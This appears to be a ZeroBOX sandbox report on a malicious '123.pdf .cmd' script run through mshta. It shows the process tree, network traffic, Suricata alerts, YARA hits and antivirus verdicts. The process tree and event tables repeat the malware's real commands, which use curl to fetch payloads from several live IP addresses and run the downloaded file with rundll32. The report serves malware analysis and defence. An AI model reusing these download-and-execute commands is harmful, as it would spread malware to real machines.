Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Nov. 9, 2023, 10:22 a.m.	Nov. 9, 2023, 10:25 a.m.

Size	2.2KB
Type	HTML document, ASCII text, with very long lines, with CRLF line terminators
MD5	`eea5227a5dae5958916a988c7bb6587b`
SHA256	`3defa2f2c34e190a0cbec72659d594095f9e6eba7b01bb24a3583881cec9dbd8`
CRC32	`D138E33C`
ssdeep	`48:fJ4UYr5kUYtaasyFUcrvd/YmI4RrSW00qbIhWH6p2xILcU4ns9QEXNVqMAPIPLdO:srwtaasytd/YmI4ReQqbIhWHW2xILpR6`
Yara	None matched

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "buLws" "C:\Users\test22\AppData\Local\Temp\123.pdf .cmd"
2544
- cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\test22\AppData\Local\Temp\123.pdf .cmd"
  2616
  - mshta.exe mshta.exe "C:\Users\test22\AppData\Local\Temp\123.pdf .cmd"
    2704
    - cmd.exe "C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl http://45.32.206.198/Ha5tL/0.015310657706292918.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
      2816
      - curl.exe curl http://45.32.206.198/Ha5tL/0.015310657706292918.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
        3028
    - cmd.exe "C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl http://45.32.223.151/qC8tr/0.4718902317874043.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
      2876
      - curl.exe curl http://45.32.223.151/qC8tr/0.4718902317874043.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
        2088
    - cmd.exe "C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl http://108.61.219.39/SVRoAEb/0.408779832117718.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
      2936
      - curl.exe curl http://108.61.219.39/SVRoAEb/0.408779832117718.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
        2224
    - cmd.exe "C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl 0.9099879648721763.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
      2996
      - curl.exe curl 0.9099879648721763.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
        2452
    - cmd.exe "C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl 0.6170589747558932.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
      812
      - curl.exe curl 0.6170589747558932.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
        2480
    - cmd.exe "C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl 0.69050401478444.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
      1336
      - curl.exe curl 0.69050401478444.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
        2716
    - cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 10 & rundll32 C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX,Excpt
      2192
      - timeout.exe timeout 10
        2904
      - rundll32.exe rundll32 C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX,Excpt
        2236

Name	Response	Post-Analysis Lookup
0.9099879648721763.dat
0.6170589747558932.dat
0.69050401478444.dat

IP Address	Status	Action
108.61.219.39	Active	Moloch
164.124.101.2	Active	Moloch
45.32.206.198	Active	Moloch
45.32.223.151	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49181 -> 108.61.219.39:80	2013028	ET POLICY curl User-Agent Outbound	Attempted Information Leak
TCP 192.168.56.101:49178 -> 45.32.223.151:80	2013028	ET POLICY curl User-Agent Outbound	Attempted Information Leak
TCP 192.168.56.101:49181 -> 108.61.219.39:80	2034567	ET HUNTING curl User-Agent to Dotted Quad	Potentially Bad Traffic
TCP 192.168.56.101:49178 -> 45.32.223.151:80	2034567	ET HUNTING curl User-Agent to Dotted Quad	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Command line console output was observed (8 events)

Time & API	Arguments	Status	Return
WriteConsoleW Nov. 9, 2023, 10:22 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW Nov. 9, 2023, 10:22 a.m.	buffer: A subdirectory or file C:\Poliset\Nolser already exists. console_handle: 0x0000000b	1	1
WriteConsoleW Nov. 9, 2023, 10:22 a.m.	buffer: A subdirectory or file C:\Poliset\Nolser already exists. console_handle: 0x0000000b	1	1
WriteConsoleW Nov. 9, 2023, 10:22 a.m.	buffer: A subdirectory or file C:\Poliset\Nolser already exists. console_handle: 0x0000000b	1	1
WriteConsoleW Nov. 9, 2023, 10:22 a.m.	buffer: A subdirectory or file C:\Poliset\Nolser already exists. console_handle: 0x0000000b	1	1
WriteConsoleW Nov. 9, 2023, 10:22 a.m.	buffer: A subdirectory or file C:\Poliset\Nolser already exists. console_handle: 0x0000000b	1	1
WriteConsoleW Nov. 9, 2023, 10:23 a.m.	buffer: Waiting for 10 console_handle: 0x00000007	1	1
WriteConsoleW Nov. 9, 2023, 10:23 a.m.	buffer: seconds, press a key to continue ... console_handle: 0x00000007	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Nov. 9, 2023, 10:22 a.m.		1	1	0

Starts servers listening (9 events)

Time & API	Arguments	Status	Return
bind Nov. 9, 2023, 10:22 a.m.	ip_address: 127.0.0.1 socket: 144 port: 0	1	0
listen Nov. 9, 2023, 10:22 a.m.	socket: 144 backlog: 1	1	0
accept Nov. 9, 2023, 10:22 a.m.	ip_address: socket: 144 port: 0	1	152
bind Nov. 9, 2023, 10:22 a.m.	ip_address: 127.0.0.1 socket: 144 port: 0	1	0
listen Nov. 9, 2023, 10:22 a.m.	socket: 144 backlog: 1	1	0
accept Nov. 9, 2023, 10:22 a.m.	ip_address: socket: 144 port: 0	1	152
bind Nov. 9, 2023, 10:22 a.m.	ip_address: 127.0.0.1 socket: 144 port: 0	1	0
listen Nov. 9, 2023, 10:22 a.m.	socket: 144 backlog: 1	1	0
accept Nov. 9, 2023, 10:22 a.m.	ip_address: socket: 144 port: 0	1	152

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	Connection to IP address				suspicious_request	GET http://45.32.223.151/qC8tr/0.4718902317874043.dat
suspicious_features	Connection to IP address				suspicious_request	GET http://108.61.219.39/SVRoAEb/0.408779832117718.dat

Performs some HTTP requests (2 events)

request	GET http://45.32.223.151/qC8tr/0.4718902317874043.dat
request	GET http://108.61.219.39/SVRoAEb/0.408779832117718.dat

Allocates read-write-execute memory (usually to unpack itself) (12 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Nov. 9, 2023, 10:22 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73bc2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 10:22 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x032d0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 10:22 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x032d0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 10:22 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x032d0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 10:22 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x032d0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 10:22 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x032d0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 10:22 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x032d0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 10:22 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x032d0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 10:22 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x032d0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 10:22 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x032d0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 10:22 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x032d1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 9, 2023, 10:22 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x032d2000 process_handle: 0xffffffff	1

Creates a suspicious process (8 events)

cmdline	"C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl 0.6170589747558932.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	"C:\Windows\System32\cmd.exe" /c timeout 10 & rundll32 C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX,Excpt
cmdline	"C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl 0.9099879648721763.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	"C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl 0.69050401478444.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	"C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl http://108.61.219.39/SVRoAEb/0.408779832117718.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	mshta.exe "C:\Users\test22\AppData\Local\Temp\123.pdf .cmd"
cmdline	"C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl http://45.32.206.198/Ha5tL/0.015310657706292918.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	"C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl http://45.32.223.151/qC8tr/0.4718902317874043.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX

A process created a hidden window (7 events)

Time & API	Arguments	Status	Return
ShellExecuteExW Nov. 9, 2023, 10:22 a.m.	show_type: 0 filepath_r: cmd parameters: /c mkdir C:\Poliset\Nolser & curl http://45.32.206.198/Ha5tL/0.015310657706292918.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX filepath: cmd	1	1
ShellExecuteExW Nov. 9, 2023, 10:22 a.m.	show_type: 0 filepath_r: cmd parameters: /c mkdir C:\Poliset\Nolser & curl http://45.32.223.151/qC8tr/0.4718902317874043.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX filepath: cmd	1	1
ShellExecuteExW Nov. 9, 2023, 10:22 a.m.	show_type: 0 filepath_r: cmd parameters: /c mkdir C:\Poliset\Nolser & curl http://108.61.219.39/SVRoAEb/0.408779832117718.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX filepath: cmd	1	1
ShellExecuteExW Nov. 9, 2023, 10:22 a.m.	show_type: 0 filepath_r: cmd parameters: /c mkdir C:\Poliset\Nolser & curl 0.9099879648721763.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX filepath: cmd	1	1
ShellExecuteExW Nov. 9, 2023, 10:22 a.m.	show_type: 0 filepath_r: cmd parameters: /c mkdir C:\Poliset\Nolser & curl 0.6170589747558932.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX filepath: cmd	1	1
ShellExecuteExW Nov. 9, 2023, 10:22 a.m.	show_type: 0 filepath_r: cmd parameters: /c mkdir C:\Poliset\Nolser & curl 0.69050401478444.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX filepath: cmd	1	1
ShellExecuteExW Nov. 9, 2023, 10:22 a.m.	show_type: 0 filepath_r: cmd parameters: /c timeout 10 & rundll32 C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX,Excpt filepath: cmd	1	1

File has been identified by 5 AntiVirus engines on VirusTotal as malicious (5 events)

Symantec	Scr.Malcode!gen49
NANO-Antivirus	Trojan.Script.Heuristic-js.iacgm
Ikarus	Win32.Outbreak
Google	Detected
Microsoft	Trojan:Script/Wacatac.H!ml

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Nov. 9, 2023, 10:22 a.m.	process_identifier: 2704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 16 (PAGE_EXECUTE) base_address: 0x032d0000 process_handle: 0xffffffff	1	0	0

Yara rule detected in process memory (50 out of 62 events)

description	Create a windows service	rule	Create_Service
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Communication using DGA	rule	Network_DGA
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Take ScreenShot	rule	ScreenShot
description	Escalate priviledges	rule	Escalate_priviledges
description	Steal credential	rule	local_credential_Steal
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Communications use DNS	rule	Network_DNS
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	File Downloader	rule	Network_Downloader
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Run a KeyLogger	rule	KeyLogger
description	Communications over P2P network	rule	Network_P2P_Win
description	Create a windows service	rule	Create_Service
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Communication using DGA	rule	Network_DGA
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Take ScreenShot	rule	ScreenShot
description	Escalate priviledges	rule	Escalate_priviledges
description	Steal credential	rule	local_credential_Steal
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Communications use DNS	rule	Network_DNS
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl

Uses Windows utilities for basic Windows functionality (18 events)

cmdline	"C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl 0.6170589747558932.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	curl http://108.61.219.39/SVRoAEb/0.408779832117718.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	cmd /c mkdir C:\Poliset\Nolser & curl http://45.32.223.151/qC8tr/0.4718902317874043.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	cmd /c mkdir C:\Poliset\Nolser & curl 0.6170589747558932.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	cmd /c mkdir C:\Poliset\Nolser & curl 0.9099879648721763.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	curl 0.6170589747558932.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	cmd /c mkdir C:\Poliset\Nolser & curl http://108.61.219.39/SVRoAEb/0.408779832117718.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	"C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl 0.9099879648721763.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	cmd /c mkdir C:\Poliset\Nolser & curl 0.69050401478444.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	cmd /c mkdir C:\Poliset\Nolser & curl http://45.32.206.198/Ha5tL/0.015310657706292918.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	"C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl 0.69050401478444.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	curl http://45.32.206.198/Ha5tL/0.015310657706292918.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	"C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl http://108.61.219.39/SVRoAEb/0.408779832117718.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	"C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl http://45.32.206.198/Ha5tL/0.015310657706292918.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	curl http://45.32.223.151/qC8tr/0.4718902317874043.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	curl 0.9099879648721763.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	curl 0.69050401478444.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX
cmdline	"C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl http://45.32.223.151/qC8tr/0.4718902317874043.dat --output C:\Poliset\Nolser\Droveyucse.OOOOOCCCCCXXXXX

Communicates with host for which no DNS query was performed (3 events)

host	108.61.219.39
host	45.32.206.198
host	45.32.223.151

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2616 resumed a thread in remote process 2704
NtResumeThread Nov. 9, 2023, 10:22 a.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 2704	1	0	0

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

45.32.206.198:80

123.pdf .cmd

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All